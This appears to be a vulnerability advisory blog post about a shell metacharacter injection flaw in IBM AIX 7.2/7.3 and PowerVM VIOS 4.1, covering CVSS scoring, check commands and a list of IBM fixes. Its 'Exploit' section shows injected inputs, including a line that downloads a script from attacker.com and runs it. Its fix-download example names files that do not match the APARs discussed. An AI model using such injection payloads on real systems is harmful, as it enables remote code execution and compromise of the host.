Listen to this Post
IBM AIX 7.2、7.3 以及 IBM PowerVM VIOS 4.1 存在一个高危漏洞，允许本地攻击者通过 shell 元字符注入执行任意命令。该漏洞的根源在于系统未能正确净化和验证用户输入中的特殊字符，导致攻击者可以将恶意命令注入到原本合法的系统调用中。
具体而言，当受影响的 AIX 或 VIOS 系统处理来自本地用户的输入时，如果该输入被用于构造 shell 命令，且未对管道符（`|`）、重定向符（`>`、`<`）、命令分隔符（`;`、`&`、`&&`、`||`）等元字符进行充分过滤或转义，攻击者便有机会闭合原有命令的上下文，并插入自己构造的任意命令。由于这些命令会以易受攻击进程的权限执行，一旦利用成功，攻击者将获得与目标进程相同的系统权限。
根据 NVD 发布的 CVSS 3.1 评分，该漏洞的基准分数为 7.8（高危），其向量字符串为 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H。这表明攻击者需要本地访问权限（AV:L），攻击复杂度低（AC:L），且只需低权限用户身份（PR:L），无需用户交互（UI:N）即可实现攻击，最终导致机密性、完整性和可用性的完全丧失（C:H/I:H/A:H）。CVSS 的高分反映了该漏洞一旦被利用，可能带来的严重后果。
受此漏洞影响的系统包括 IBM AIX 7.2 和 7.3 的所有功能级别，以及 IBM PowerVM VIOS 4.1 版本。IBM 已发布相应的安全修复程序（APAR）和服务包（SP）来解决此问题。
DailyCVE Form:
Platform: IBM AIX / PowerVM VIOS
Version: 7.2, 7.3, 4.1
Vulnerability: Shell Metacharacter Injection
Severity: High (CVSS 7.8)
Date: 2026-08-19
Prediction: Patch available (APARs from 2026-08-14)
What Undercode Say:
Undercode’s analytics highlight the urgency of addressing this vulnerability, emphasizing the local attack vector and the potential for full system compromise. The following commands and codes are relevant for system administrators to assess and mitigate the risk.
Check AIX Technology Level and Installed Filesets:
oslevel -s lslpp -Lc | grep -E "bos.rte|bos.net"
Verify if the System is Vulnerable (Example Check for APAR):
instfix -ivk IJ59566 Check for AIX 7.2.5 APAR instfix -ivk IJ59565 Check for AIX 7.3.2 / VIOS 4.1.0 APAR
Download and Verify Fixes from IBM Fix Central:
Example for AIX wget https://aix.software.ibm.com/aix/efixes/security/kerberos_fix.tar tar xvf kerberos_fix.tar cd kerberos_fix openssl dgst -sha256 IJ55344s9a.250722.epkg.Z Verify checksum
Exploit: (Educational Purposes!)
A local attacker could exploit this vulnerability by injecting shell metacharacters into an unsanitized input field. For instance, if a script uses user-supplied input to construct a command like:
Vulnerable script snippet (conceptual)
system("/usr/bin/some_tool " + user_input);
An attacker could provide input such as:
; id
This would cause the shell to execute the intended command followed by the `id` command, revealing the current user’s identity. A more malicious example could be:
; wget http://attacker.com/malware.sh -O /tmp/malware.sh && chmod +x /tmp/malware.sh && /tmp/malware.sh
This would download and execute a remote script, giving the attacker a foothold on the system.
Protection:
IBM has released official fixes for this vulnerability. System administrators are strongly advised to apply the relevant fixes immediately. The specific fixes are:
For AIX 7.2 TL05: Apply Service Pack SP13 (APAR IJ59566).
For AIX 7.3 TL04: Apply Service Pack SP2 (APAR IJ59565).
For AIX 7.3 TL03: Apply Service Pack SP3 (APAR IJ59564).
For AIX 7.3 TL02: Apply Service Pack SP5 (APAR IJ59563).
For VIOS 4.1.0: Apply Fix Pack 4.1.0.50 (APAR IJ59565).
For VIOS 4.1.1: Apply Fix Pack 4.1.1.30 (APAR IJ59564).
For VIOS 4.1.2: Apply Fix Pack 4.1.2.20 (APAR IJ59563).
These fixes are cumulative and can be downloaded from IBM Fix Central. A system reboot is typically required for the updates to take effect, though AIX’s Live Update feature can be used to avoid downtime.
Impact:
Successful exploitation of this vulnerability allows a local attacker to execute arbitrary commands with the privileges of the vulnerable process. This can lead to a complete compromise of the system’s confidentiality, integrity, and availability. An attacker could read sensitive data, modify system files, install malware, or create backdoors for persistent access. Given that the attack requires only local access and low privileges, this vulnerability poses a significant risk in multi-user environments or where malicious actors have already gained a limited foothold.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
